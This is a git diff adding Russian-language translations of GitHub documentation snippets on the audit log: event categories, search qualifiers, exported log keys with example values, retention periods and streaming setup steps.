`external_identity` | Содержит действия, связанные с пользователем в группе Okta. +{%- endif %} | `gist` | Содержит действия, связанные с gist. +| `hook` | Содержит действия, связанные с веб-перехватчиками. +| `integration` | Содержит действия, связанные с интеграциями в учетной записи. +| `integration_installation` | Содержит действия, связанные с интеграциями, установленными в учетной записи. +| `integration_installation_request` | Содержит действия, связанные с запросами участников организации на утверждение интеграций владельцами для использования в организации. +{%- ifversion ghec or ghae %} | `ip_allow_list` | Содержит действия, связанные с включением или отключением списка разрешенных IP-адресов для организации. +| `ip_allow_list_entry` | Содержит действия, связанные с созданием, удалением и изменением записи списка разрешенных IP-адресов для организации. +{%- endif %} | `issue` | Содержит действия, связанные с закреплением, переносом или удалением проблемы в репозитории. +| `issue_comment` | Содержит действия, связанные с закреплением, переносом или удалением комментариев к проблеме. +| `issues` | Содержит действия, связанные с включением или отключением создания проблем для организации. +{%- ifversion fpt or ghec %} | `marketplace_agreement_signature` | Содержит действия, связанные с подписанием соглашения с разработчиком {% data variables.product.prodname_marketplace %}. +| `marketplace_listing` | Содержит действия, связанные с добавлением приложений в {% data variables.product.prodname_marketplace %}. +{%- endif %} | `members_can_create_pages` | Содержит действия, связанные с управлением публикацией сайтов {% data variables.product.prodname_pages %} для репозиториев в организации. Дополнительные сведения см. в разделе [Управление публикацией сайтов {% data variables.product.prodname_pages %} для организации](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization). +| `members_can_create_private_pages` | Содержит действия, связанные с управлением публикацией частных сайтов {% data variables.product.prodname_pages %} для репозиториев в организации. +| `members_can_create_public_pages` | Содержит действия, связанные с управлением публикацией общедоступных сайтов {% data variables.product.prodname_pages %} для репозиториев в организации. +{%- ifversion ghec or ghes or ghae %} | `members_can_delete_repos` | Содержит действия, связанные с включением или отключением создания репозитория для организации. +{%- endif %} {%- ifversion fpt or ghec %} | `members_can_view_dependency_insights` | Содержит действия, связанные с конфигурацией на уровне организации, позволяющей участникам организации просматривать аналитические сведения о зависимостях. +| `migration` | Содержит действия, связанные с передачей данных из *исходного* расположения (например, организации {% data variables.product.prodname_dotcom_the_website %} или экземпляра {% data variables.product.prodname_ghe_server %}) в *целевой* экземпляр {% data variables.product.prodname_ghe_server %}. +{%- endif %} | `oauth_access` | Содержит действия, связанные с маркерами доступа OAuth. +| `oauth_application` | Содержит действия, связанные с приложениями OAuth. +{%- ifversion fpt or ghec %} | `oauth_authorization` | Содержит действия, связанные с авторизацией приложений OAuth. +{%- endif %} | `org` | Содержит действия, связанные с членством в организации. +{%- ifversion ghec or ghes or ghae %} | `org_credential_authorization` | Содержит действия, связанные с авторизацией учетных данных для использования с единым входом SAML. +{%- endif %} {%- ifversion secret-scanning-audit-log-custom-patterns %} | `org_secret_scanning_custom_pattern` | Содержит действия, связанные с пользовательскими шаблонами для сканирования секретов в организации. Дополнительные сведения см. в разделе [Определение пользовательских шаблонов для сканирования секретов](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning). +| `org.secret_scanning_push_protection` | Содержит действия, связанные с пользовательскими шаблонами сканирования секретов в организации. Дополнительные сведения см. в разделе [Защита push-уведомлений с помощью сканирования секретов](/code-security/secret-scanning/protecting-pushes-with-secret-scanning). +{%- endif %} | `organization_default_label` | Содержит действия, связанные с метками по умолчанию для репозиториев в организации. +{%- ifversion fpt or ghec or ghes %} | `organization_domain` | Содержит действия, связанные с проверенными доменами организации. +| `organization_projects_change` | Содержит действия, связанные с досками проектов на уровне организации в предприятии. +{%- endif %} {%- ifversion fpt or ghec %} | `pages_protected_domain` | Содержит действия, связанные с проверенными личными доменами для {% data variables.product.prodname_pages %}. +| `payment_method` | Содержит действия, связанные с методом оплаты {% data variables.product.prodname_dotcom %} организации. +| `prebuild_configuration` | Содержит действия, связанные с конфигурациями предварительной сборки для {% data variables.product.prodname_github_codespaces %}. +{%- endif %} {%- ifversion ghes %} | `pre_receive_environment` | Содержит действия, связанные со средами перехватчиков предварительного получения. +| `pre_receive_hook` | Содержит действия, связанные с перехватчиками предварительного получения. +{%- endif %} {%- ifversion ghes %} | `private_instance_encryption` | Содержит действия, связанные с включением частного режима для предприятия. +{%- endif %} | `private_repository_forking` | Содержит действия, связанные с разрешением вилок частных и внутренних репозиториев для репозитория, организации или предприятия. +{%- ifversion fpt or ghec %} | `profile_picture` | Содержит действия, связанные с изображением профиля организации. +{%- endif %} | `project` | Содержит действия, связанные с досками проектов. +| `project_field` | Содержит действия, связанные с созданием и удалением полей на доске проектов. +| `project_view` | Содержит действия, связанные с созданием и удалением представлений на доске проектов. +| `protected_branch` | Содержит действия, связанные с защищенными ветвями. +| `public_key` | Содержит действия, связанные с ключами SSH и ключами развертывания. +| `pull_request` | Содержит действия, связанные с запросами на вытягивание. +| `pull_request_review` | Содержит действия, связанные с проверками запросов на вытягивание. +| `pull_request_review_comment` | Содержит действия, связанные с комментариями проверки запросов на вытягивание. +| `repo` | Содержит действия, связанные с принадлежащими организации репозиториями. +{%- ifversion fpt or ghec %} | `repository_advisory` | Содержит действия на уровне репозитория, связанные с советами по безопасности в {% data variables.product.prodname_advisory_database %}. Дополнительные сведения см. в разделе [Сведения о советах по безопасности {% data variables.product.prodname_dotcom %}](/github/managing-security-vulnerabilities/about-github-security-advisories). +| `repository_content_analysis` | Содержит действия, связанные с [включением или отключением использования данных для частного репозитория](/articles/about-github-s-use-of-your-data). +| `repository_dependency_graph` | Содержит действия на уровне репозитория, связанные с включением или отключением графа зависимостей для {% ifversion fpt or ghec %}частного {% endif %}репозитория. Дополнительные сведения см. в разделе [Сведения о графе зависимостей](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph). +{%- endif %} | `repository_image` | Содержит действия, связанные с образами для репозитория. +| `repository_invitation` | Содержит действия, связанные с приглашениями на присоединение к репозиторию. +| `repository_projects_change` | Содержит действия, связанные с включением проектов для репозитория или для всех репозиториев в организации. +{%- ifversion ghec or ghes or ghae %} | `repository_secret_scanning` | Содержит действия на уровне репозитория, связанные со сканированием секретов. Дополнительные сведения см. в статье [Сведения о сканировании секретов](/github/administering-a-repository/about-secret-scanning). +{%- endif %} {%- ifversion secret-scanning-audit-log-custom-patterns %} | `repository_secret_scanning_custom_pattern` | Содержит действия, связанные с пользовательскими шаблонами сканирования шаблонов в репозитории. Дополнительные сведения см. в разделе [Определение пользовательских шаблонов для сканирования секретов](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning). {% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %} | `repository_secret_scanning_push_protection` | Содержит действия, связанные с пользовательскими шаблонами сканирования шаблонов в репозитории. Дополнительные сведения см. в разделе [Защита push-уведомлений с помощью сканирования секретов](/code-security/secret-scanning/protecting-pushes-with-secret-scanning). +{%- endif %} {%- ifversion fpt or ghec %} | `repository_visibility_change` | Содержит действия, связанные с разрешением участникам организации изменять видимость репозитория для организации. +{%- endif %} | `repository_vulnerability_alert` | Содержит действия, связанные с [{% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). +{%- ifversion fpt or ghec %} | `repository_vulnerability_alerts` | Содержит действия, связанные с конфигурацией на уровне репозитория, для {% data variables.product.prodname_dependabot_alerts %}. +| `required_status_check` | Содержит действия, связанные с обязательными проверками состояния для защищенных ветвей. +{%- endif %} {%- ifversion ghec or ghes %} | `restrict_notification_delivery` | Содержит действия, связанные с ограничением уведомлений по электронной почте для утвержденных или проверенных доменов для предприятия. +{%- endif %} {%- ifversion custom-repository-roles %} | `role` | Содержит действия, связанные с [ролями пользовательского репозитория](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization). +{%- endif %} {%- ifversion ghec or ghes or ghae %} | `secret_scanning` | Содержит действия, связанные с конфигурацией на уровне организации, для сканирования секретов в существующих репозиториях. Дополнительные сведения см. в статье [Сведения о сканировании секретов](/github/administering-a-repository/about-secret-scanning). +| `secret_scanning_new_repos` | Содержит действия, связанные с конфигурацией на уровне организации, для сканирования секретов для новых репозиториев, созданных в организации. +{%- endif %} {%- ifversion ghec or ghes or ghae %} | `security_key` | Содержит действия, связанные с регистрацией и удалением ключей безопасности. +{%- endif %} {%- ifversion fpt or ghec %} | `sponsors` | Содержит события, связанные с кнопками спонсора (см. статью [Отображение кнопки спонсора в репозитории](/articles/displaying-a-sponsor-button-in-your-repository)). +{%- endif %} {%- ifversion ghec or ghes or ghae %} | `ssh_certificate_authority` | Содержит действия, связанные с центром сертификации SSH в организации или на предприятии. +| `ssh_certificate_requirement` | Содержит действия, связанные с требованием к участникам использовать сертификаты SSH для доступа к ресурсам организации. +{%- endif %} | `staff` | Содержит действия, связанные с выполнением действия администратором сайта. +| `team` | Содержит действия, связанные с командами в организации. +| `team_discussions` | Содержит действия, связанные с управлением обсуждениями команд для организации. +{%- ifversion ghec %} | `team_sync_tenant` | Содержит действия, связанные с синхронизацией команды с поставщиком удостоверений для предприятия или организации. +{%- endif %} {%- ifversion fpt or ghes %} | `two_factor_authentication` | Содержит действия, связанные с двухфакторной проверкой подлинности. +{%- endif %} | `user` | Содержит действия, связанные с пользователями организации или предприятия. +{%- ifversion ghec or ghes %} | `user_license` | Содержит действия, связанные с пользователем, который занимает лицензионное рабочее место и является участником предприятия. +{%- endif %} | `workflows` | Содержит действия, связанные с рабочими процессами {% data variables.product.prodname_actions %}. diff --git a/translations/ru-RU/data/reusables/audit_log/audit-log-api-info.md b/translations/ru-RU/data/reusables/audit_log/audit-log-api-info.md new file mode 100644 index 000000000000..85eb2e2b3235 --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/audit-log-api-info.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 8dc05f4b4acb5814c262c15c6d91d50aa36d836c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113768" +--- +* обращение к параметрам вашей организации или репозитория; +* изменения в разрешениях; +* добавление или удаление пользователей в организации, репозитории или команде; +* повышение пользователей до администратора; +* Изменения в разрешениях {% data variables.product.prodname_github_app %} diff --git a/translations/ru-RU/data/reusables/audit_log/audit-log-events-workflows.md b/translations/ru-RU/data/reusables/audit_log/audit-log-events-workflows.md new file mode 100644 index 000000000000..2f13877ddbfd --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/audit-log-events-workflows.md @@ -0,0 +1,20 @@ +--- +ms.openlocfilehash: 830540b45884edcec609f94aeeaaf5b661a95a51 +ms.sourcegitcommit: 094dff459fcbf7d0634930e02405606dfffd7f0a +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/12/2022 +ms.locfileid: "148163214" +--- +| Действие | Описание +|--------|------------ +| `workflows.approve_workflow_job` | Задание рабочего процесса одобрено. Дополнительные сведения см. в разделе [Просмотр развертываний](/actions/managing-workflow-runs/reviewing-deployments). +| `workflows.cancel_workflow_run` | Выполнение рабочего процесса отменено. Дополнительные сведения см. в статье [Отмена рабочего процесса](/actions/managing-workflow-runs/canceling-a-workflow). +| `workflows.delete_workflow_run` | Выполнение рабочего процесса удалено. Дополнительные сведения см. в статье [Удаление рабочего процесса](/actions/managing-workflow-runs/deleting-a-workflow-run). +| `workflows.disable_workflow` | Рабочий процесс был отключен. +| `workflows.enable_workflow` | Рабочий процесс был включен после того, как ранее был отключен пользователем `disable_workflow`. +| `workflows.reject_workflow_job` | Задание рабочего процесса отклонено. Дополнительные сведения см. в разделе [Просмотр развертываний](/actions/managing-workflow-runs/reviewing-deployments). +| `workflows.rerun_workflow_run` | Выполнение рабочего процесса перезапущено. Дополнительные сведения см. в статье [Перезапуск рабочего процесса](/actions/managing-workflow-runs/re-running-a-workflow). +| `workflows.completed_workflow_run` | Состояние рабочего процесса изменено на `completed`. Отображается только при использовании REST API; не показывается в пользовательском интерфейсе и при экспорте JSON/CSV. Дополнительные сведения см. в статье [Просмотр журнала выполнения рабочего процесса](/actions/managing-workflow-runs/viewing-workflow-run-history). +| `workflows.created_workflow_run` | Было создано выполнение рабочего процесса. Отображается только при использовании REST API; не показывается в пользовательском интерфейсе и при экспорте JSON/CSV. Дополнительные сведения см. в статье [Создание примера рабочего процесса](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow). +| `workflows.prepared_workflow_job` | Запущено задание рабочего процесса. Содержит список секретов, предоставленных заданию. Отображается только при использовании REST API. Она не отображается в веб-интерфейсе {% data variables.product.prodname_dotcom %} или не включена в экспорт JSON/CSV. Дополнительные сведения см. в разделе [События, активирующие рабочие процессы](/actions/reference/events-that-trigger-workflows). diff --git a/translations/ru-RU/data/reusables/audit_log/audit-log-git-events-retention.md b/translations/ru-RU/data/reusables/audit_log/audit-log-git-events-retention.md new file mode 100644 index 000000000000..5edd4b67bd12 --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/audit-log-git-events-retention.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5bfe73f69c2113796ba743428e40b7643db82da6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113760" +--- +События Git хранятся в журнале аудита семь дней — меньше, чем другие события журнала аудита, которые могут храниться до семи месяцев. diff --git a/translations/ru-RU/data/reusables/audit_log/audit-log-search-by-operation.md b/translations/ru-RU/data/reusables/audit_log/audit-log-search-by-operation.md new file mode 100644 index 000000000000..210bbd6dd34c --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/audit-log-search-by-operation.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 3492de2cd163b4bbb59b912c17d152b7d2af5c68 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113752" +--- +### Поиск по операции + +Чтобы ограничить действия определенными типами операций, используйте квалификатор `operation`. Пример: + + * `operation:access` находит все события, в которых осуществлялся доступ к ресурсу. + * `operation:authentication` находит все события, в которых происходило событие проверки подлинности. + * `operation:create` находит все события, в которых создавался ресурс. + * `operation:modify` находит все события, в которых изменялся существующий ресурс. + * `operation:remove` находит все события, в которых удалялся существующий ресурс. + * `operation:restore` находит все события, в которых восстанавливался существующий ресурс. + * `operation:transfer` находит все события, в которых переносился существующий ресурс. diff --git a/translations/ru-RU/data/reusables/audit_log/audit-log-search-by-repo.md b/translations/ru-RU/data/reusables/audit_log/audit-log-search-by-repo.md new file mode 100644 index 000000000000..65f212c62105 --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/audit-log-search-by-repo.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: fa28240a725967485b76be7be90384f3010b084a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113744" +--- +### Поиск по репозиторию + +Чтобы ограничить действия определенным репозиторием, используйте квалификатор `repo`. Пример: + + * `repo:my-org/our-repo` находит все произошедшие события для репозитория `our-repo` в организации `my-org`. + * `repo:my-org/our-repo repo:my-org/another-repo` находит все произошедшие события для репозиториев `our-repo` и `another-repo` в организации `my-org`. + * `-repo:my-org/not-this-repo` исключает все произошедшие события для репозитория `not-this-repo` в организации `my-org`. + +Обратите внимание, что в квалификатор необходимо включить имя учетной записи `repo`. Поиск просто по запросу `repo:our-repo` работать не будет. diff --git a/translations/ru-RU/data/reusables/audit_log/audit-log-search-by-user.md b/translations/ru-RU/data/reusables/audit_log/audit-log-search-by-user.md new file mode 100644 index 000000000000..617af464473a --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/audit-log-search-by-user.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 7193be487b701029df5604b7253f683b5675c086 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113739" +--- +### Поиск по пользователю + +Квалификатор `actor` может ограничивать события в зависимости от того, кто выполнил действие. Пример: + + * `actor:octocat` находит все события, выполненные пользователем `octocat`. + * `actor:octocat actor:hubot` находит все события, выполненные пользователями `octocat` и `hubot`. + * `-actor:hubot` исключает все события, выполненные пользователем `hubot`. + +Обратите внимание, что можно использовать только имя пользователя {% data variables.product.product_name %}; фактическое имя использовать нельзя. diff --git a/translations/ru-RU/data/reusables/audit_log/audit-log-search-list-info-about-action.md b/translations/ru-RU/data/reusables/audit_log/audit-log-search-list-info-about-action.md new file mode 100644 index 000000000000..c7828be0f3b0 --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/audit-log-search-list-info-about-action.md @@ -0,0 +1,20 @@ +--- +ms.openlocfilehash: e01273fe15058c00b11d380a3c50d4448cfb92b8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146180786" +--- +Имя каждой записи в журнале аудита состоит из квалификатора объекта или категории `action` и типа операции. Например, запись `repo.create` указывает на операцию `create` в категории `repo`. + +Каждая запись в журнале аудита содержит применимые сведения о событии, например: + +- {% ifversion ghec or ghes or ghae %}предприятие или {% endif %}организация, в которых было выполнено действие; +- Пользователь (субъект), выполнивший действие +- Пользователь, на которого повлияло действие +- Репозиторий, в котором было выполнено действие +- Действие, которое было выполнено +- Страна, в которой было выполнено действие +- Дата и время выполнения действия {%- ifversion enterprise-audit-log-ip-addresses %} +- (Необязательно) Исходный IP-адрес пользователя (субъекта), выполнившего действие {%- endif %} diff --git a/translations/ru-RU/data/reusables/audit_log/audit-log-search.md b/translations/ru-RU/data/reusables/audit_log/audit-log-search.md new file mode 100644 index 000000000000..b8b1883e0443 --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/audit-log-search.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: c07593d1a115835538cc98ad351414704a14e737 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113715" +--- +{% data reusables.audit_log.audit-log-search-list-info-about-action %} + +Обратите внимание, что поиск записей по тексту невозможен. При этом можно составлять поисковые запросы, используя различные фильтры. Многие операторы, используемые в запросах к журналу, например `-`, `>` и `<`, используются в том же формате, что и при поиске в {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Поиск в {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github). + +{% data reusables.audit_log.audit-log-search-by-operation %} + +{% data reusables.audit_log.audit-log-search-by-repo %} + +{% data reusables.audit_log.audit-log-search-by-user %} diff --git a/translations/ru-RU/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md b/translations/ru-RU/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md new file mode 100644 index 000000000000..c59c70a94f04 --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Archives" section of the sidebar, click {% octicon "log" aria-label="The log icon" %} **Logs**, then click **Audit log**. +{% else %} +1. In the Settings sidebar, click **Audit log**. +![Org audit log settings in sidebar](/assets/images/help/organizations/org-settings-audit-log.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md b/translations/ru-RU/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md new file mode 100644 index 000000000000..f2d2336ba7b8 --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +3. In the "Archives" section of the sidebar, click **{% octicon "log" aria-label="The log icon" %} Security log**. +{% else %} +3. In the left sidebar, click **Audit log**. +![Audit log tab](/assets/images/enterprise/site-admin-settings/audit-log-tab.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/audit_log/audited-data-list.md b/translations/ru-RU/data/reusables/audit_log/audited-data-list.md new file mode 100644 index 000000000000..53f2e19f1c92 --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/audited-data-list.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 266a3b9b6a6c46ffac64a9e71903d360690d9cde +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147881037" +--- +{% data reusables.audit_log.audit-log-api-info %} {% ifversion fpt or ghec %}* События Git, такие как клонирование, выборка и отправка {% endif %} diff --git a/translations/ru-RU/data/reusables/audit_log/export-log.md b/translations/ru-RU/data/reusables/audit_log/export-log.md new file mode 100644 index 000000000000..36ce5ea77edd --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/export-log.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 93bc45eb2c722bbf9260ad1618423ff2aad44135 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147785857" +--- +Журнал можно экспортировать в виде данных JSON или CSV-файла с разделителями-запятыми. + +![Кнопка экспорта](/assets/images/help/organizations/org-audit-log-export.png) + +Чтобы отфильтровать результаты экспорта, выполните поиск по одному или нескольким из поддерживаемых квалификаторов, прежде чем использовать раскрывающееся меню **Экспорт**. + +{% data reusables.audit_log.keys-and-example-values %} diff --git a/translations/ru-RU/data/reusables/audit_log/exported-git-log-keys-and-values.md b/translations/ru-RU/data/reusables/audit_log/exported-git-log-keys-and-values.md new file mode 100644 index 000000000000..db1dd3848530 --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/exported-git-log-keys-and-values.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 3e8a5068444a1ba0f26f06d4ef76f0ab5a0b68e4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113680" +--- +В файле, который будет создан после экспорта журнала в формате JSON или CSV, вы найдете указанные ниже ключи и значения. + +| Ключ | Пример значения +|------------|------------- +| `@timestamp` | 1429548104000 +| `actor` | octocat +| `action` | git.clone +| `org` | octo-org +| `business` | avocado-corp +| `repo` | octo-org/documentation +| `repository_public` | false +| `user` | codertocat +| `protocol_name` | http diff --git a/translations/ru-RU/data/reusables/audit_log/exported-log-keys-and-values.md b/translations/ru-RU/data/reusables/audit_log/exported-log-keys-and-values.md new file mode 100644 index 000000000000..72822bc9f40c --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/exported-log-keys-and-values.md @@ -0,0 +1,26 @@ +--- +ms.openlocfilehash: 52ffa15d88eb667d35b6e92b4e5adfa3146e9e56 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113672" +--- +В файле, который будет создан после экспорта журнала, вы найдете указанные ниже ключи и значения. + +| Ключ | Пример значения +|------------|------------- +| `action` | team.create +| `actor` | octocat +| `user` | codertocat +| `actor_location.country_code` | США +| `org` | octo-org +| `repo` | octo-org/documentation +| `created_at` | 1429548104000 (Метка времени показывает время, прошедшее после Epoch, в миллисекундах.) +| `data.email` | octocat@nowhere.com +| `data.hook_id` | 245 +| `data.events` | ["issues", "issue_comment", "pull_request", "pull_request_review_comment"] +| `data.events_were` | ["push", "pull_request", "issues"] +| `data.target_login` | octocat +| `data.old_user` | hubot +| `data.team` | octo-org/engineering diff --git a/translations/ru-RU/data/reusables/audit_log/git-events-export-limited.md b/translations/ru-RU/data/reusables/audit_log/git-events-export-limited.md new file mode 100644 index 000000000000..1a1e920b8826 --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/git-events-export-limited.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 6b6afade651b8fa55376e56ce04a30e8fba9b9fc +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884998" +--- +{% ifversion ghec %} {% note %} + +**Примечание:** В экспорт событий Git не включаются те события, которые инициировались через веб-браузер, API REST или GraphQL. Например, если пользователь объединяет запрос на вытягивание в веб-браузере, изменения отправляются в базовую ветвь, но событие Git для этой отправки в экспорт не включается. + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/audit_log/git-events-not-in-search-results.md b/translations/ru-RU/data/reusables/audit_log/git-events-not-in-search-results.md new file mode 100644 index 000000000000..cef4150619eb --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/git-events-not-in-search-results.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 6b7d1cd8cae2ecd6688a1a5d41d7bda03d8e8d97 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109648" +--- +{% ifversion git-events-audit-log %} {% note %} + +**Примечание.** События Git не включаются в результаты поиска. + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/audit_log/keys-and-example-values.md b/translations/ru-RU/data/reusables/audit_log/keys-and-example-values.md new file mode 100644 index 000000000000..b57247adebb8 --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/keys-and-example-values.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 0885870fd5d445ddf3808a5f0bd40867c88e132f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113667" +--- +| Квалификатор | Пример значения +|------------|------------- +| `action` | team.create +| `actor` | octocat +| `user` | codertocat +| `org` | octo-org +| `repo` | octo-org/documentation +| `created` | 2019-06-01 diff --git a/translations/ru-RU/data/reusables/audit_log/octicon_icon.md b/translations/ru-RU/data/reusables/audit_log/octicon_icon.md new file mode 100644 index 000000000000..47e8a4b56211 --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/octicon_icon.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a5af5a79e2a5c19d12f567e8041e6fa195b7afee +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113664" +--- +1. В левом верхнем углу любой страницы нажмите . +![Значок октоката](/assets/images/enterprise/navigation/octocat-icon.png) diff --git a/translations/ru-RU/data/reusables/audit_log/only-three-months-displayed.md b/translations/ru-RU/data/reusables/audit_log/only-three-months-displayed.md new file mode 100644 index 000000000000..342856134cfd --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/only-three-months-displayed.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 60fd0dcf78f0161ec98e0b819b1992c1030f177f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147881045" +--- +По умолчанию отображаются только события за последние три месяца. Чтобы увидеть старые события, необходимо указать диапазон дат с параметром `created`. Для получения дополнительной информации см. раздел [Основные сведения о различных ролях](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax#query-for-dates). diff --git a/translations/ru-RU/data/reusables/audit_log/retention-periods.md b/translations/ru-RU/data/reusables/audit_log/retention-periods.md new file mode 100644 index 000000000000..5d47a7424c1f --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/retention-periods.md @@ -0,0 +1,3 @@ +The audit log lists events triggered by activities that affect your enterprise{% ifversion not ghec %}. Audit logs for {% data variables.product.product_name %} are retained indefinitely{% ifversion audit-data-retention-tab %}, unless an enterprise owner configured a different retention period. For more information, see "[Configuring the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise)."{% else %}.{% endif %}{% else %} within the current month and up to the previous six months. The audit log retains Git events for seven days.{% endif %} + +{% data reusables.audit_log.only-three-months-displayed %} diff --git a/translations/ru-RU/data/reusables/audit_log/streaming-check-s3-endpoint.md b/translations/ru-RU/data/reusables/audit_log/streaming-check-s3-endpoint.md new file mode 100644 index 000000000000..04646c02485e --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/streaming-check-s3-endpoint.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 6e4387a1736c320dbef802ea07c22dfc1fa091a6 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109272" +--- +1. Нажмите кнопку **Проверить конечную точку**, чтобы убедиться, что {% data variables.product.prodname_dotcom %} может подключиться к конечной точке Amazon S3 и записывать в нее. + + ![Проверка конечной точки](/assets/images/help/enterprises/audit-stream-check.png) diff --git a/translations/ru-RU/data/reusables/audit_log/streaming-choose-s3.md b/translations/ru-RU/data/reusables/audit_log/streaming-choose-s3.md new file mode 100644 index 000000000000..6474cd620858 --- /dev/null +++ 